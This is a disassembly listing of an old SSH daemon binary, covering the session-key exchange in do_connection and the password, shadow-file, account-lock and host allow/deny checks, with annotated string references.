0804b70e    83 c4 10                 add      $0x10,%esp
0804b711    83 ff 07                 cmp      $0x7,%edi
0804b714    7e ea                    jle      0804b700 <Unknown0006+0x38>
0804b716    83 ec 0c                 sub      $0xc,%esp
0804b719    ff 35 40 db 07 08        pushl    0x807db40   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b71f    e8 50 a9 00 00           call     08056074 <Unknown0141>
0804b724    c7 04 24 44 db 07 08     movl     $0x807db44,(%esp,1)   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b72b    e8 74 a9 00 00           call     080560a4 <Unknown0143>
0804b730    c7 04 24 50 db 07 08     movl     $0x807db50,(%esp,1)   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b737    e8 68 a9 00 00           call     080560a4 <Unknown0143>
0804b73c    5b                       pop      %ebx
0804b73d    ff 35 d8 00 08 08        pushl    0x80800d8   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b743    e8 2c a9 00 00           call     08056074 <Unknown0141>
0804b748    c7 04 24 e8 00 08 08     movl     $0x80800e8,(%esp,1)   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b74f    e8 50 a9 00 00           call     080560a4 <Unknown0143>
0804b754    c7 04 24 dc 00 08 08     movl     $0x80800dc,(%esp,1)   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b75b    e8 44 a9 00 00           call     080560a4 <Unknown0143>
0804b760    c7 04 24 02 00 00 00     movl     $0x2,(%esp,1)   ;2 'x2 x0 x0 x0' ""
0804b767    e8 08 a9 00 00           call     08056074 <Unknown0141>
0804b76c    e8 0f 12 01 00           call     0805c980 <Unknown0243>
0804b771    89 04 24                 mov      %eax,(%esp,1)
0804b774    e8 fb a8 00 00           call     08056074 <Unknown0141>
0804b779    8b 0d b0 db 07 08        mov      0x807dbb0,%ecx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b77f    31 c0                    xor      %eax,%eax
0804b781    83 c4 10                 add      $0x10,%esp
0804b784    85 c9                    test     %ecx,%ecx
0804b786    74 05                    je       0804b78d <Unknown0006+0xc5>
0804b788    b8 02 00 00 00           mov      $0x2,%eax   ;2 'x2 x0 x0 x0' ""
0804b78d    8b 15 b4 db 07 08        mov      0x807dbb4,%edx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b793    85 d2                    test     %edx,%edx
0804b795    74 03                    je       0804b79a <Unknown0006+0xd2>
0804b797    83 c8 10                 or       $0x10,%eax
0804b79a    8b 3d b8 db 07 08        mov      0x807dbb8,%edi   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b7a0    85 ff                    test     %edi,%edi
0804b7a2    74 03                    je       0804b7a7 <Unknown0006+0xdf>
0804b7a4    83 c8 04                 or       $0x4,%eax
0804b7a7    8b 1d d0 db 07 08        mov      0x807dbd0,%ebx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b7ad    85 db                    test     %ebx,%ebx
0804b7af    74 03                    je       0804b7b4 <Unknown0006+0xec>
0804b7b1    83 c8 08                 or       $0x8,%eax
0804b7b4    83 ec 0c                 sub      $0xc,%esp
0804b7b7    50                       push     %eax
0804b7b8    e8 b7 a8 00 00           call     08056074 <Unknown0141>
0804b7bd    e8 fa a8 00 00           call     080560bc <Unknown0144>
0804b7c2    e8 35 b1 00 00           call     080568fc <Unknown0159>
0804b7c7    83 c4 0c                 add      $0xc,%esp
0804b7ca    ff 35 d8 00 08 08        pushl    0x80800d8   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b7d0    ff 35 40 db 07 08        pushl    0x807db40   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b7d6    68 40 c1 06 08           push     $0x806c140   ;[in .rodata] 1953391955 'x53 x65 x6e x74' "Sent %d bit
                                                            public key and %d bit host key."
0804b7db    e8 a0 45 00 00           call     0804fd80 <Unknown0039>
0804b7e0    c7 04 24 03 00 00 00     movl     $0x3,(%esp,1)   ;3 'x3 x0 x0 x0' ""
0804b7e7    e8 d4 ab 00 00           call     080563c0 <Unknown0146>
0804b7ec    e8 f7 ae 00 00           call     080566e8 <Unknown0150>
0804b7f1    89 45 ac                 mov      %eax,0xffffffac(%ebp)
0804b7f4    e8 87 11 01 00           call     0805c980 <Unknown0243>
0804b7f9    ba 01 00 00 00           mov      $0x1,%edx   ;1 'x1 x0 x0 x0' ""
0804b7fe    8a 4d ac                 mov      0xffffffac(%ebp),%cl
0804b801    d3 e2                    shl      %cl,%edx
0804b803    83 c4 10                 add      $0x10,%esp
0804b806    85 c2                    test     %eax,%edx
0804b808    75 10                    jne      0804b81a <Unknown0006+0x152>
0804b80a    83 ec 0c                 sub      $0xc,%esp
0804b80d    68 80 c1 06 08           push     $0x806c180   ;[in .rodata] 1852989783 'x57 x61 x72 x6e' "Warning:
                                                            client selects unsupported cipher."
0804b812    e8 c9 af 00 00           call     080567e0 <Unknown0157>
0804b817    83 c4 10                 add      $0x10,%esp
0804b81a    31 ff                    xor      %edi,%edi
0804b81c    0f b6 1c 37              movzbl   (%edi,%esi,1),%ebx
0804b820    e8 c3 ae 00 00           call     080566e8 <Unknown0150>
0804b825    39 c3                    cmp      %eax,%ebx
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0804b827  74 10               je      0804b839 <Unknown0006+0x171>
0804b829  83 ec 0c            sub     $0xc,%esp
0804b82c  68 c0 c1 06 08      push    $0x806c1c0   ;[in .rodata] 1394626633 'x49 x50 x20 x53' "IP Spoofing
                                                                  check bytes do not match."
0804b831  e8 aa af 00 00      call    080567e0 <Unknown0157>
0804b836  83 c4 10            add     $0x10,%esp
0804b839  47                  inc     %edi
0804b83a  83 ff 07            cmp     $0x7,%edi
0804b83d  7e dd               jle     0804b81c <Unknown0006+0x154>
0804b83f  83 ec 0c            sub     $0xc,%esp
0804b842  ff 75 ac            pushl   0xffffffac(%ebp)
0804b845  e8 42 11 01 00      call    0805c98c <Unknown0244>
0804b84a  5a                  pop     %edx
0804b84b  59                  pop     %ecx
0804b84c  50                  push    %eax
0804b84d  68 e6 c1 06 08      push    $0x806c1e6   ;[in .rodata] 1919118917 'x45 x6e x63 x72' "Encryption
                                                                  type: %.200s"
0804b852  8d 5d d8            lea     0xffffffd8(%ebp),%ebx
0804b855  e8 26 45 00 00      call    0804fd80 <Unknown0039>
0804b85a  89 1c 24            mov     %ebx,(%esp,1)
0804b85d  e8 66 59 01 00      call    080611c8 <Unknown0319>
0804b862  89 1c 24            mov     %ebx,(%esp,1)
0804b865  e8 ae ae 00 00      call    08056718 <Unknown0152>
0804b86a  e8 95 ae 00 00      call    08056704 <Unknown0151>
0804b86f  89 04 24            mov     %eax,(%esp,1)
0804b872  e8 b1 a5 00 00      call    08055e28 <Unknown0132>
0804b877  59                  pop     %ecx
0804b878  5f                  pop     %edi
0804b879  68 dc 00 08 08      push    $0x80800dc   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b87e  68 90 00 08 08      push    $0x8080090   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b883  e8 94 4f 01 00      call    0806081c <Unknown0308>
0804b888  83 c4 10            add     $0x10,%esp
0804b88b  85 c0               test    %eax,%eax
0804b88d  7e 41               jle     0804b8d0 <Unknown0006+0x208>
0804b88f  a1 d8 00 08 08      mov     0x80800d8,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b894  83 e8 80            sub     $0xffffff80,%eax
0804b897  39 05 8c 00 08 08   cmp     %eax,0x808008c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b89d  73 19               jae     0804b8b8 <Unknown0006+0x1f0>
0804b89f  68 fe c1 06 08      push    $0x806c1fe   ;[in .rodata] 1667198820 'x64 x6f x5f x63'
                                                                  "do_connection"
0804b8a4  68 2d 06 00 00      push    $0x62d   ;1581 'x2d x6 x0 x0' "-"
0804b8a9  68 0c c2 06 08      push    $0x806c20c   ;[in .rodata] 1684566899 'x73 x73 x68 x64' "sshd.c"
0804b8ae  68 20 c2 06 08      push    $0x806c220   ;[in .rodata] 1936614771 'x73 x65 x6e x73'
                                                                  "sensitive_data.private_key.bits >=
                                                                  sensitive_data.host_key.bits + 128"
0804b8b3  e8 14 e5 ff ff      call    08049dcc <__assert_fail>
0804b8b8  52                  push    %edx
0804b8b9  68 8c 00 08 08      push    $0x808008c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b8be  53                  push    %ebx
0804b8bf  53                  push    %ebx
0804b8c0  e8 5b 0f 01 00      call    0805c820 <Unknown0242>
0804b8c5  83 c4 0c            add     $0xc,%esp
0804b8c8  68 d8 00 08 08      push    $0x80800d8   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b8cd  eb 42               jmp     0804b911 <Unknown0006+0x249>
0804b8cf  90                  nop
0804b8d0  a1 8c 00 08 08      mov     0x808008c,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b8d5  83 e8 80            sub     $0xffffff80,%eax
0804b8d8  39 05 d8 00 08 08   cmp     %eax,0x80800d8   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b8de  73 1c               jae     0804b8fc <Unknown0006+0x234>
0804b8e0  68 fe c1 06 08      push    $0x806c1fe   ;[in .rodata] 1667198820 'x64 x6f x5f x63'
                                                                  "do_connection"
0804b8e5  68 37 06 00 00      push    $0x637   ;1591 'x37 x6 x0 x0' "7"
0804b8ea  68 0c c2 06 08      push    $0x806c20c   ;[in .rodata] 1684566899 'x73 x73 x68 x64' "sshd.c"
0804b8ef  68 80 c2 06 08      push    $0x806c280   ;[in .rodata] 1936614771 'x73 x65 x6e x73'
                                                                  "sensitive_data.host_key.bits >=
                                                                  sensitive_data.private_key.bits + 128"
0804b8f4  e8 d3 e4 ff ff      call    08049dcc <__assert_fail>
0804b8f9  8d 76 00            lea     0x0(%esi),%esi
0804b8fc  50                  push    %eax
0804b8fd  68 d8 00 08 08      push    $0x80800d8   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b902  53                  push    %ebx
0804b903  53                  push    %ebx
0804b904  e8 17 0f 01 00      call    0805c820 <Unknown0242>
0804b909  83 c4 0c            add     $0xc,%esp
0804b90c  68 8c 00 08 08      push    $0x808008c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b911  53                  push    %ebx
0804b912  53                  push    %ebx
0804b913  e8 08 0f 01 00      call    0805c820 <Unknown0242>
0804b918  83 c4 10            add     $0x10,%esp
0804b91b  83 ec 08            sub     $0x8,%esp
0804b91e  68 90 00 08 08      push    $0x8080090   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b923  ff 35 8c 00 08 08   pushl   0x808008c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b929  68 dc 00 08 08      push    $0x80800dc   ;[in .bss] 0 'x0 x0 x0 x0' ""
```

```
0804b92e   ff 35 d8 00 08 08    pushl   0x80800d8  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b934   56                   push    %esi
0804b935   68 20 fc 07 08       push    $0x807fc20  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b93a   e8 39 23 01 00       call    0805dc78 <Unknown0267>
0804b93f   83 c4 1c             add     $0x1c,%esp
0804b942   8d 45 d8             lea     0xffffffd8(%ebp),%eax
0804b945   50                   push    %eax
0804b946   6a 20                push    $0x20
0804b948   8d 5d b8             lea     0xffffffb8(%ebp),%ebx
0804b94b   53                   push    %ebx
0804b94c   e8 eb 21 01 00       call    0805db3c <Unknown0265>
0804b951   31 ff                xor     %edi,%edi
0804b953   83 c4 10             add     $0x10,%esp
0804b956   89 da                mov     %ebx,%edx
0804b958   b9 20 fc 07 08       mov     $0x807fc20,%ecx  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b95d   8d 76 00             lea     0x0(%esi),%esi
0804b960   8a 04 0f             mov     (%edi,%ecx,1),%al
0804b963   30 04 17             xor     %al,(%edi,%edx,1)
0804b966   47                   inc     %edi
0804b967   83 ff 0f             cmp     $0xf,%edi
0804b96a   7e f4                jle     0804b960 <Unknown0006+0x298>
0804b96c   83 ec 0c             sub     $0xc,%esp
0804b96f   8d 45 d8             lea     0xffffffd8(%ebp),%eax
0804b972   50                   push    %eax
0804b973   e8 88 4e 01 00       call    08060800 <Unknown0307>
0804b978   6a 00                push    $0x0
0804b97a   ff 75 ac             pushl   0xffffffac(%ebp)
0804b97d   6a 20                push    $0x20
0804b97f   8d 7d b8             lea     0xffffffb8(%ebp),%edi
0804b982   57                   push    %edi
0804b983   e8 e8 a5 00 00       call    08055f70 <Unknown0137>
0804b988   fc                   cld
0804b989   31 c0                xor     %eax,%eax
0804b98b   b9 08 00 00 00       mov     $0x8,%ecx  ;8 'x8 x0 x0 x0' ""
0804b990   83 c4 14             add     $0x14,%esp
0804b993   f3 ab                repz stos %eax,%es:(%edi)
0804b995   68 e0 c2 06 08       push    $0x806c2e0  ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                     session key; encryption turned on."
0804b99a   e8 e1 43 00 00       call    0804fd80 <Unknown0039>
0804b99f   c7 04 24 0e 00 00 00 movl    $0xe,(%esp,1)  ;14 'xe x0 x0 x0' ""
0804b9a6   e8 69 a6 00 00       call    08056014 <Unknown0138>
0804b9ab   e8 0c a7 00 00       call    080560bc <Unknown0144>
0804b9b0   e8 47 af 00 00       call    080568fc <Unknown0159>
0804b9b5   c7 04 24 04 00 00 00 movl    $0x4,(%esp,1)  ;4 'x4 x0 x0 x0' ""
0804b9bc   e8 ff a9 00 00       call    080563c0 <Unknown0146>
0804b9c1   c7 04 24 00 00 00 00 movl    $0x0,(%esp,1)  ;0 'x0 x0 x0 x0' ""
0804b9c8   e8 63 ad 00 00       call    08056730 <Unknown0153>
0804b9cd   89 c3                mov     %eax,%ebx
0804b9cf   c7 04 24 40 db 07 08 movl    $0x807db40,(%esp,1)  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b9d6   e8 c1 89 00 00       call    0805439c <Unknown0092>
0804b9db   c7 04 24 8c 00 08 08 movl    $0x808008c,(%esp,1)  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b9e2   e8 5d 89 00 00       call    08054344 <Unknown0091>
0804b9e7   c7 04 24 d8 00 08 08 movl    $0x80800d8,(%esp,1)  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b9ee   e8 51 89 00 00       call    08054344 <Unknown0091>
0804b9f3   83 c4 0c             add     $0xc,%esp
0804b9f6   ff 75 ac             pushl   0xffffffac(%ebp)
0804b9f9   ff 75 08             pushl   0x8(%ebp)
0804b9fc   53                   push    %ebx
0804b9fd   e8 0e 05 00 00       call    0804bf10 <Unknown0011>
0804ba02   8d 65 f4             lea     0xfffffff4(%ebp),%esp
0804ba05   5b                   pop     %ebx
0804ba06   5e                   pop     %esi
0804ba07   5f                   pop     %edi
0804ba08   5d                   pop     %ebp
0804ba09   c3                   ret
0804ba0a   89 f6                mov     %esi,%esi


   ;
   ; >---------------------<  Subroutine #   7 >---------------------<
   ;
0804ba0c <Unknown0007>:
0804ba0c   55                   push    %ebp
0804ba0d   89 e5                mov     %esp,%ebp
0804ba0f   57                   push    %edi
0804ba10   56                   push    %esi
0804ba11   53                   push    %ebx
0804ba12   81 ec a0 00 00 00    sub     $0xa0,%esp  ;160 'xa0 x0 x0 x0' ""
0804ba18   6a 06                push    $0x6
0804ba1a   8b 45 0c             mov     0xc(%ebp),%eax
0804ba1d   ff 70 04             pushl   0x4(%eax)
0804ba20   8d 45 d8             lea     0xffffffd8(%ebp),%eax
0804ba23   50                   push    %eax
0804ba24   e8 a3 e9 ff ff       call    0804a3cc <strncpy>
```

```
0804ba29  58                      pop     %eax
0804ba2a  ff 75 08                pushl   0x8(%ebp)
0804ba2d  c6 45 dd 00             movb    $0x0,0xffffffdd(%ebp)
0804ba31  e8 c6 e1 ff ff          call    08049bfc <getspnam>
0804ba36  89 c3                   mov     %eax,%ebx
0804ba38  83 c4 10                add     $0x10,%esp
0804ba3b  85 db                   test    %ebx,%ebx
0804ba3d  75 51                   jne     0804ba90 <Unknown0007+0x84>
0804ba3f  57                      push    %edi
0804ba40  8d 85 78 ff ff ff       lea     0xffffff78(%ebp),%eax  ;-136 'x78 xff xff xff' "x"
0804ba46  50                      push    %eax
0804ba47  68 0e c3 06 08          push    $0x806c30e  ;[in .rodata] 1668572463 'x2f x65 x74 x63'
                                                      "/etc/shadow"
0804ba4c  6a 03                   push    $0x3
0804ba4e  e8 d9 e5 ff ff          call    0804a02c <__xstat>
0804ba53  83 c4 10                add     $0x10,%esp
0804ba56  85 c0                   test    %eax,%eax
0804ba58  0f 85 12 01 00 00       jne     0804bb70 <Unknown0007+0x164>  ;274 'x12 x1 x0 x0' ""
0804ba5e  8b 45 0c                mov     0xc(%ebp),%eax
0804ba61  8b 50 04                mov     0x4(%eax),%edx
0804ba64  0f b6 02                movzbl  (%edx),%eax
0804ba67  83 e8 78                sub     $0x78,%eax
0804ba6a  75 04                   jne     0804ba70 <Unknown0007+0x64>
0804ba6c  0f b6 42 01             movzbl  0x1(%edx),%eax
0804ba70  85 c0                   test    %eax,%eax
0804ba72  0f 85 f8 00 00 00       jne     0804bb70 <Unknown0007+0x164>  ;248 'xf8 x0 x0 x0' ""
0804ba78  83 ec 08                sub     $0x8,%esp
0804ba7b  ff 75 08                pushl   0x8(%ebp)
0804ba7e  68 20 c3 06 08          push    $0x806c320  ;[in .rodata] 661545283 'x43 x61 x6e x27' "Can't find
                                                      %.100s's shadow - access denied."
0804ba83  e8 f8 42 00 00          call    0804fd80 <Unknown0039>
0804ba88  e9 b3 00 00 00          jmp     0804bb40 <Unknown0007+0x134>  ;179 'xb3 x0 x0 x0' ""
0804ba8d  8d 76 00                lea     0x0(%esi),%esi
0804ba90  83 ec 0c                sub     $0xc,%esp
0804ba93  6a 00                   push    $0x0
0804ba95  e8 f2 e5 ff ff          call    0804a08c <time>
0804ba9a  b9 07 45 2e c2          mov     $0xc22e4507,%ecx  ;-1037155065 'x7 x45 x2e xc2' ""
0804ba9f  89 c6                   mov     %eax,%esi
0804baa1  f7 e9                   imul    %ecx
0804baa3  89 85 60 ff ff ff       mov     %eax,0xffffff60(%ebp)  ;-160 'x60 xff xff xff' "`"
0804baa9  89 95 64 ff ff ff       mov     %edx,0xffffff64(%ebp)  ;-156 'x64 xff xff xff' "d"
0804baaf  8d 0c 32                lea     (%edx,%esi,1),%ecx
0804bab2  89 f0                   mov     %esi,%eax
0804bab4  c1 f9 10                sar     $0x10,%ecx
0804bab7  c1 f8 1f                sar     $0x1f,%eax
0804baba  8b 7b 08                mov     0x8(%ebx),%edi
0804babd  29 c1                   sub     %eax,%ecx
0804babf  83 c4 10                add     $0x10,%esp
0804bac2  85 ff                   test    %edi,%edi
0804bac4  74 0e                   je      0804bad4 <Unknown0007+0xc8>
0804bac6  8b 53 10                mov     0x10(%ebx),%edx
0804bac9  85 d2                   test    %edx,%edx
0804bacb  7e 7f                   jle     0804bb4c <Unknown0007+0x140>
0804bacd  8d 04 3a                lea     (%edx,%edi,1),%eax
0804bad0  39 c1                   cmp     %eax,%ecx
0804bad2  7e 78                   jle     0804bb4c <Unknown0007+0x140>
0804bad4  83 ec 08                sub     $0x8,%esp
0804bad7  ff 75 08                pushl   0x8(%ebp)
0804bada  68 60 c3 06 08          push    $0x806c360  ;[in .rodata] 1868784449 'x41 x63 x63 x6f' "Account
                                                      %.100s's password is too old - forced to change."
0804badf  e8 9c 42 00 00          call    0804fd80 <Unknown0039>
0804bae4  8b 35 e4 db 07 08       mov     0x807dbe4,%esi  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804baea  83 c4 10                add     $0x10,%esp
0804baed  85 f6                   test    %esi,%esi
0804baef  74 4f                   je      0804bb40 <Unknown0007+0x134>
0804baf1  8b 7d 08                mov     0x8(%ebp),%edi
0804baf4  fc                      cld
0804baf5  31 c0                   xor     %eax,%eax
0804baf7  b9 ff ff ff ff          mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0804bafc  f2 ae                   repnz scas %es:(%edi),%al
0804bafe  f7 d1                   not     %ecx
0804bb00  83 ec 0c                sub     $0xc,%esp
0804bb03  83 c1 11                add     $0x11,%ecx
0804bb06  51                      push    %ecx
0804bb07  e8 84 b3 00 00          call    08056e90 <Unknown0170>
0804bb0c  59                      pop     %ecx
0804bb0d  ff 75 08                pushl   0x8(%ebp)
0804bb10  68 99 c3 06 08          push    $0x806c399  ;[in .rodata] 1920169263 'x2f x75 x73 x72'
                                                      "/usr/bin/passwd"
0804bb15  89 c2                   mov     %eax,%edx
0804bb17  68 a9 c3 06 08          push    $0x806c3a9  ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s
                                                      %.100s"
0804bb1c  89 15 b4 7b 07 08       mov     %edx,0x8077bb4  ;[in .data] 0 'x0 x0 x0 x0' ""
0804bb22  8b 7d 08                mov     0x8(%ebp),%edi
```

```
0804bb25   fc                          cld
0804bb26   31 c0                       xor     %eax,%eax
0804bb28   b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804bb2d   f2 ae                       repnz scas %es:(%edi),%al
0804bb2f   f7 d1                       not     %ecx
0804bb31   83 c1 11                    add     $0x11,%ecx
0804bb34   51                          push    %ecx
0804bb35   52                          push    %edx
0804bb36   e8 a1 e7 ff ff              call    0804a2dc <snprintf>
0804bb3b   83 c4 20                    add     $0x20,%esp
0804bb3e   eb 1a                       jmp     0804bb5a <Unknown0007+0x14e>
0804bb40   e8 47 e7 ff ff              call    0804a28c <endspent>
0804bb45   31 c0                       xor     %eax,%eax
0804bb47   e9 2a 02 00 00              jmp     0804bd76 <Unknown0007+0x36a>   ;554 'x2a x2 x0 x0' "*"
0804bb4c   85 d2                       test    %edx,%edx
0804bb4e   7e 0a                       jle     0804bb5a <Unknown0007+0x14e>
0804bb50   8d 04 3a                    lea     (%edx,%edi,1),%eax
0804bb53   29 c8                       sub     %ecx,%eax
0804bb55   a3 cc 7b 07 08              mov     %eax,0x8077bcc   ;[in .data] -1 'xff xff xff xff' ""
0804bb5a   50                          push    %eax
0804bb5b   6a 06                       push    $0x6
0804bb5d   ff 73 04                    pushl   0x4(%ebx)
0804bb60   8d 45 d8                    lea     0xffffffd8(%ebp),%eax
0804bb63   50                          push    %eax
0804bb64   e8 63 e8 ff ff              call    0804a3cc <strncpy>
0804bb69   83 c4 10                    add     $0x10,%esp
0804bb6c   c6 45 dd 00                 movb    $0x0,0xffffffdd(%ebp)
0804bb70   e8 17 e7 ff ff              call    0804a28c <endspent>
0804bb75   57                          push    %edi
0804bb76   6a 04                       push    $0x4
0804bb78   68 b7 c3 06 08              push    $0x806c3b7   ;[in .rodata] 709577770 'x2a x4c x4b x2a' "*LK*"
0804bb7d   8d 45 d8                    lea     0xffffffd8(%ebp),%eax
0804bb80   50                          push    %eax
0804bb81   e8 96 e5 ff ff              call    0804a11c <strncmp>
0804bb86   83 c4 10                    add     $0x10,%esp
0804bb89   85 c0                       test    %eax,%eax
0804bb8b   75 17                       jne     0804bba4 <Unknown0007+0x198>
0804bb8d   83 ec 08                    sub     $0x8,%esp
0804bb90   ff 75 08                    pushl   0x8(%ebp)
0804bb93   68 bc c3 06 08              push    $0x806c3bc   ;[in .rodata] 1868784449 'x41 x63 x63 x6f' "Account
                                               %.100s is locked."
0804bb98   e8 e3 41 00 00              call    0804fd80 <Unknown0039>
0804bb9d   31 c0                       xor     %eax,%eax
0804bb9f   e9 d2 01 00 00              jmp     0804bd76 <Unknown0007+0x36a>   ;466 'xd2 x1 x0 x0' ""
0804bba4   8b 35 00 ec 07 08           mov     0x807ec00,%esi   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bbaa   85 f6                       test    %esi,%esi
0804bbac   74 66                       je      0804bc14 <Unknown0007+0x208>
0804bbae   e8 79 50 00 00              call    08050c2c <Unknown0055>
0804bbb3   89 85 70 ff ff ff           mov     %eax,0xffffff70(%ebp)   ;-144 'x70 xff xff xff' "p"
0804bbb9   e8 6e 51 00 00              call    08050d2c <Unknown0056>
0804bbbe   89 c6                       mov     %eax,%esi
0804bbc0   31 ff                       xor     %edi,%edi
0804bbc2   bb 04 ec 07 08              mov     $0x807ec04,%ebx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bbc7   eb 07                       jmp     0804bbd0 <Unknown0007+0x1c4>
0804bbc9   8d 76 00                    lea     0x0(%esi),%esi
0804bbcc   83 c3 04                    add     $0x4,%ebx
0804bbcf   47                          inc     %edi
0804bbd0   a1 00 ec 07 08              mov     0x807ec00,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bbd5   39 c7                       cmp     %eax,%edi
0804bbd7   73 1d                       jae     0804bbf6 <Unknown0007+0x1ea>
0804bbd9   ff 33                       pushl   (%ebx)
0804bbdb   56                          push    %esi
0804bbdc   ff b5 70 ff ff ff           pushl   0xffffff70(%ebp)   ;-144 'x70 xff xff xff' "p"
0804bbe2   ff 75 08                    pushl   0x8(%ebp)
0804bbe5   e8 5e 1d 01 00              call    0805d948 <Unknown0259>
0804bbea   83 c4 10                    add     $0x10,%esp
0804bbed   85 c0                       test    %eax,%eax
0804bbef   74 db                       je      0804bbcc <Unknown0007+0x1c0>
0804bbf1   a1 00 ec 07 08              mov     0x807ec00,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bbf6   39 c7                       cmp     %eax,%edi
0804bbf8   72 1a                       jb      0804bc14 <Unknown0007+0x208>
0804bbfa   83 ec 10                    sub     $0x10,%esp
0804bbfd   e8 2a 50 00 00              call    08050c2c <Unknown0055>
0804bc02   83 c4 0c                    add     $0xc,%esp
0804bc05   50                          push    %eax
0804bc06   ff 75 08                    pushl   0x8(%ebp)
0804bc09   68 e0 c3 06 08              push    $0x806c3e0   ;[in .rodata] 1852731203 'x43 x6f x6e x6e' "Connection
                                               for %.200s not allowed from %.100s"
0804bc0e   e9 17 01 00 00              jmp     0804bd2a <Unknown0007+0x31e>   ;279 'x17 x1 x0 x0' ""
0804bc13   90                          nop
0804bc14   8b 1d 04 f0 07 08           mov     0x807f004,%ebx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bc1a   85 db                       test    %ebx,%ebx
0804bc1c   74 4a                       je      0804bc68 <Unknown0007+0x25c>
0804bc1e   e8 09 50 00 00              call    08050c2c <Unknown0055>
```

```
0804bc23  31 ff                 xor     %edi,%edi
0804bc25  89 85 6c ff ff ff      mov     %eax,0xffffff6c(%ebp)  ;-148 'x6c xff xff xff' "l"
0804bc2b  e8 fc 50 00 00         call    08050d2c <Unknown0056>
0804bc30  3b 3d 04 f0 07 08      cmp     0x807f004,%edi  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bc36  89 c6                 mov     %eax,%esi
0804bc38  73 2e                 jae     0804bc68 <Unknown0007+0x25c>
0804bc3a  bb 08 f0 07 08        mov     $0x807f008,%ebx  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bc3f  90                    nop
0804bc40  ff 33                 pushl   (%ebx)
0804bc42  56                    push    %esi
0804bc43  ff b5 6c ff ff ff      pushl   0xffffff6c(%ebp)  ;-148 'x6c xff xff xff' "l"
0804bc49  ff 75 08              pushl   0x8(%ebp)
0804bc4c  e8 f7 1c 01 00        call    0805d948 <Unknown0259>
0804bc51  83 c4 10              add     $0x10,%esp
0804bc54  85 c0                 test    %eax,%eax
0804bc56  0f 85 a8 00 00 00      jne     0804bd04 <Unknown0007+0x2f8>  ;168 'xa8 x0 x0 x0' ""
0804bc5c  47                    inc     %edi
0804bc5d  83 c3 04              add     $0x4,%ebx
0804bc60  3b 3d 04 f0 07 08      cmp     0x807f004,%edi  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bc66  72 d8                 jb      0804bc40 <Unknown0007+0x234>
0804bc68  83 ec 0c              sub     $0xc,%esp
0804bc6b  8b 55 0c              mov     0xc(%ebp),%edx
0804bc6e  ff 72 0c              pushl   0xc(%edx)
0804bc71  e8 f6 e1 ff ff        call    08049e6c <getgrgid>
0804bc76  83 c4 10              add     $0x10,%esp
0804bc79  85 c0                 test    %eax,%eax
0804bc7b  89 85 74 ff ff ff      mov     %eax,0xffffff74(%ebp)  ;-140 'x74 xff xff xff' "t"
0804bc81  74 05                 je      0804bc88 <Unknown0007+0x27c>
0804bc83  8b 30                 mov     (%eax),%esi
0804bc85  eb 1c                 jmp     0804bca3 <Unknown0007+0x297>
0804bc87  90                    nop
0804bc88  83 ec 08              sub     $0x8,%esp
0804bc8b  8b 45 0c              mov     0xc(%ebp),%eax
0804bc8e  ff 70 0c              pushl   0xc(%eax)
0804bc91  68 4a c4 06 08        push    $0x806c44a  ;[in .rodata] 1852534357 'x55 x6e x6b x6e' "Unknown
                                                    group id %d"
0804bc96  e8 81 3f 00 00        call    0804fc1c <Unknown0036>
0804bc9b  be 5f c4 06 08        mov     $0x806c45f,%esi  ;[in .rodata] 1701736302 'x6e x6f x6e x65' "none"
0804bca0  83 c4 10              add     $0x10,%esp
0804bca3  a1 08 f4 07 08        mov     0x807f408,%eax  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bca8  85 c0                 test    %eax,%eax
0804bcaa  0f 84 84 00 00 00      je      0804bd34 <Unknown0007+0x328>  ;132 'x84 x0 x0 x0' ""
0804bcb0  31 ff                 xor     %edi,%edi
0804bcb2  bb 0c f4 07 08        mov     $0x807f40c,%ebx  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bcb7  eb 0c                 jmp     0804bcc5 <Unknown0007+0x2b9>
0804bcb9  8d 76 00              lea     0x0(%esi),%esi
0804bcbc  83 c3 04              add     $0x4,%ebx
0804bcbf  47                    inc     %edi
0804bcc0  a1 08 f4 07 08        mov     0x807f408,%eax  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804bcc5  39 c7                 cmp     %eax,%edi
